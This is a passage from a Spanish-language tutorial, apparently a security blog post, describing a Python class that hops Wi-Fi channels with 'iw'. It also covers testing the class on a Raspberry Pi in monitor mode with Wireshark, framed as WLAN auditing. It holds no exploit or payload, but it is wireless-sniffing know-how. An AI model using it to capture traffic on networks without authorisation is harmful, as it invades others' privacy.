Este método recorre la lista de canales que se le pasan para verificar si son válidos. Utilizando el método “__cambiar_canal()” que devuelve True o False si existen algún error. En caso de no existir, se guarda en una lista el canal, en caso contrario, se descarta.
También comprueba si todos los canales han fallado, por lo que si esto ocurre el programa finaliza con un error, puesto que no existen canales válidos.
__cambiar_canal():
Este método recibe un canal y lanza un Popen. Un Popen es un módulo que nos permite lanzar programas externos y tener cierto control sobre ellos. Mediante la variable del módulo “stderr” comprobamos si existen errores. 
Como se puede observar, estamos utilizando iw para realizar el cambio de canal, como comentamos anteriormente. La sintaxis sería: “iw dev self.interfazset channel canal”, siendo la variable interfaz la facilitada por el usuario, y canal el canal que queremos utilizar. No hay más magia en todo esto.
fijar_canal()
Este método permite fijar un canal en vez de andar saltando de canales. Solo funcionará si el hilo está parado.
tiempo_canal()
Este método permite cambiar el “timming”, el tiempo que pasaremos utilizando un canal.
fijar_canales()
Este método fija el salto de canales a una lista proporcionada por el usuario. Puede resultar útil cuando el usuario tan solo quiere realizar un sniffing a tan solo a una pequeña lista de canales concretos o fijar una lista de canales propia.
lista_VIC()
Very Important Channel. Este método me parece también muy interesante. Como comentamos en la teoría, existen canales más importantes que otros, como son el canal 1, 6 y 11 que no se solapan entre ellos, por lo que puede interesar pasar más tiempo en ellos porque podrían estar más poblados. 
Bueno, en realidad, este es uno de sus usos, pero puede tener muchos dependiendo de la imaginación de cada uno. Al habilitar este método y proporcionarle una lista y un tiempo determinado, el hilo detectara los canales que pertenezcan a esta lista y esperara el tiempo facilitado por el usuario.
run()
Este es un método de la clase “Thread”. Una vez que se lance el hilo se ejecutará lo que está dentro de este método. En nuestro caso un bucle que recorre infinitamente una y otra vez toda la lista de canales, provocando el salto de canal.
sc = SaltoCanal(“wlan1”, check=True, _24Ghz = True, _5Ghz=True, verbose=True) sc.start()
PoC – Proof of Concept.

Una vez que tenemos creado nuestro “bicho” es hora de comprobar que todo funciona correctamente. Para ello, ponemos la interfaz en modo monitor. En los ejemplos estoy utilizando una distribución de Kali Linux un tanto peculiar. Esta distribución modificada, entre otras cosas, permite poner la interfaz Wi-Fi que viene por defecto con la Raspberry Pi 3 en modo monitor.

Hablaros sobre todo esto escapa del objetivo principal de este artículo. Para los interesados aquí os dejo ciertas referencias al proyecto NexMon  y la URL donde podéis descargaros las imágenes de Kali Linux modificada. Para poner la tarjeta de la Raspberry Pi en modo monitor tan solo tenemos que utilizar este comando: monstart Para parar el modo monitor, bastaría con: monstop

Como veis, todo muy sencillo, pero ¡ojo!, si se utilizan varias tarjetas inalámbricas, hay que cerciorarse bien cuál es la interfaz que está en modo monitor. Se puede hacer con iwconfig o iw dev

Una vez que se tiene la interfaz en modo monitor se puede comprobar que todo funciona correctamente utilizando un sniffer. Existen varias posibilidades, yo me he decantado por Wireshark por venir ya preinstalado, por ser un viejo conocido (aka Ethereal) y por la interfaz gráfica, para que todo sea más visual en las capturas de pantalla. Para realizar el sniffing con Wireshark antes se debe de indicar la interfaz por la cual se quiere capturar tráfico. Es decir, la interfaz que esté en modo monitor. Si todo es correcto, irán apareciendo los paquetes capturados en Wireshark.

Probando salto_canal.py.

Existen varias formas de lanzar este módulo. La primera forma es simplemente ejecutándolo directamente con python saltocanal.py. Recordad que si utilizáis este método deberéis de crear en el “main” algo como esto:
sc = SaltoCanal(“wlan1”) 
sc.start() 
raw_input('Presiona enter para finalizar...')
El raw_input es fundamental, de lo conterario el programa y el hilo finalizaran y no se podrá testear. Pero si quieres también puedes probarlo ejecutándolo a través de la consola de Python. Para ello se lanza la consola de Python mediante un comando python y desde allí de importa el módulo. (Para ello se aconseja lanzar la consola de python en el mismo directorio que salto_canal.py). Y se prueban los métodos. Como se aprecia en las siguientes capturas, todo parece funcionar correctamente.

Figura 19: Preobando el módulo de Salto de Canal en Python en una Raspberry Pi 3

Conclusiones:

Como hemos visto, crear un script que realice el salto de canal no es complejo. Lo fundamental es conocer los problemas que pueden aparecer y buscarle soluciones óptimas. Esto solo es posible analizando y estudiando el funcionamiento de las cosas. Gracias al Open Software existen multitud de herramientas de código abierto que pueden ayudarnos en este proceso.

A la hora de auditar una red WLAN puede que las herramientas más conocidas no nos sirvan. Bien por ser algo muy concreto y especifico o porque necesitamos automatizar el proceso. Crear nuestras propias herramientas nos facilitará muchísimo las cosas, además de permitirnos tener un mayor control de lo que estamos haciendo.

Crear herramientas modulares y abstractas nos facilitarán la reutilización de las mismas en casi cualquier escenario. Incluso pueden darnos nuevas ideas. Una vez solucionado el problema del salto de canal, ya se puede empezar a jugar con: python + scapy + dot11 y dejar volar nuestra imaginación. ¡¡happy hacking!!. Si tenéis cualquier inquietud no dudéis en poneros en contacto conmigo.

Autor: Enrique Andrade - NETTinG